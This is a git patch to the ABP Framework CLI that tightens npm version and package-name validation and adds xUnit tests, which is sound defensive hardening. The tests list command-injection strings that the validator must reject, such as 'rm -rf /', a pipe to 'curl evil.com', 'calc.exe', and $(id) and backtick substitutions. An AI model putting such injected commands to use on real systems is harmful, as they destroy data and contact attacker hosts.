From c8149d839777cbb294bb81c1ab91216d3a23e099 Mon Sep 17 00:00:00 2001 From: maliming Date: Sun, 5 Apr 2026 18:07:31 +0800 Subject: [PATCH] Tighten version regex, centralize package name validation, handle null, and add version tests --- .../ProjectModification/NpmPackagesUpdater.cs | 15 ++++---- .../Volo/Abp/Cli/Utils/NpmHelper.cs | 9 +++-- .../NpmPackagesUpdater_Tests.cs | 35 +++++++++++++++++++ 3 files changed, 51 insertions(+), 8 deletions(-) diff --git a/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater.cs b/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater.cs index 1827305353..b962285057 100644 --- a/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater.cs +++ b/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater.cs @@ -3,7 +3,6 @@ using System.Collections.Concurrent; using System.Collections.Generic; using System.IO; using System.Linq; -using System.Text.RegularExpressions; using System.Threading.Tasks; using Microsoft.Extensions.Logging; using Microsoft.Extensions.Logging.Abstractions; @@ -379,13 +378,17 @@ public class NpmPackagesUpdater : ITransientDependency return abpPackages; } - private static readonly Regex ValidNpmPackageNameRegex = new( - @"^@[a-zA-Z0-9][a-zA-Z0-9._-]*/[a-zA-Z0-9][a-zA-Z0-9._-]*$", - RegexOptions.Compiled); - public static bool IsValidNpmPackageName(string packageName) { - return ValidNpmPackageNameRegex.IsMatch(packageName); + try + { + NpmHelper.EnsureSafePackageName(packageName); + return true; + } + catch + { + return false; + } } protected virtual async Task RunInstallLibsAsync(string fileDirectory) diff --git a/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/Utils/NpmHelper.cs b/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/Utils/NpmHelper.cs index 13069c6ae1..35bdf1dd37 100644 --- a/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/Utils/NpmHelper.cs +++ b/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/Utils/NpmHelper.cs @@ -85,12 +85,12 @@ public class NpmHelper : ITransientDependency RegexOptions.Compiled); private static readonly Regex SafeVersionRegex = new( - @"^[a-zA-Z0-9._~^><=|\-+]+$", + @"^[a-zA-Z0-9._~^+\-]+$", RegexOptions.Compiled); public static void EnsureSafePackageName(string packageName) { - if (!SafePackageNameRegex.IsMatch(packageName)) + if (string.IsNullOrWhiteSpace(packageName) || !SafePackageNameRegex.IsMatch(packageName)) { throw new CliUsageException($"Invalid npm package name detected: {SanitizeForLog(packageName)}"); } @@ -106,6 +106,11 @@ public class NpmHelper : ITransientDependency public static string SanitizeForLog(string value) { + if (value == null) + { + return "(null)"; + } + return Regex.Replace(value, @"[\x00-\x1F\x7F]", "?"); } diff --git a/framework/test/Volo.Abp.Cli.Core.Tests/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater_Tests.cs b/framework/test/Volo.Abp.Cli.Core.Tests/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater_Tests.cs index 8b37fe36f1..3d5edd6d89 100644 --- a/framework/test/Volo.Abp.Cli.Core.Tests/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater_Tests.cs +++ b/framework/test/Volo.Abp.Cli.Core.Tests/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater_Tests.cs @@ -1,5 +1,6 @@ using Shouldly; using Volo.Abp.Cli.ProjectModification; +using Volo.Abp.Cli.Utils; using Xunit; namespace Volo.Abp.Cli; @@ -22,8 +23,42 @@ public class NpmPackagesUpdater_Tests [InlineData("@abp/ space", false)] [InlineData("@abp/", false)] [InlineData("@abp/ng core", false)] + [InlineData(null, false)] + [InlineData("", false)] public void IsValidNpmPackageName(string packageName, bool expected) { NpmPackagesUpdater.IsValidNpmPackageName(packageName).ShouldBe(expected); } + + [Theory] + [InlineData("1.0.0", false)] + [InlineData("^8.0.0", false)] + [InlineData("~8.0.0", false)] + [InlineData("8.0.0-preview.1", false)] + [InlineData("8.0.0-preview20260401", false)] + [InlineData("8.0.0+build.123", false)] + [InlineData("latest", false)] + [InlineData("next", false)] + [InlineData(null, false)] + [InlineData("", false)] + [InlineData("1.0.0 && calc.exe", true)] + [InlineData("1.0.0; rm -rf /", true)] + [InlineData("1.0.0 | curl evil.com", true)] + [InlineData("1.0.0`whoami`", true)] + [InlineData("1.0.0$(id)", true)] + [InlineData("1.0.0\nnewline", true)] + [InlineData(">1.0.0", true)] + [InlineData("<2.0.0", true)] + [InlineData("1.0.0|2.0.0", true)] + public void EnsureSafeVersion(string version, bool shouldThrow) + { + if (shouldThrow) + { + Should.Throw(() => NpmHelper.EnsureSafeVersion(version)); + } + else + { + Should.NotThrow(() => NpmHelper.EnsureSafeVersion(version)); + } + } }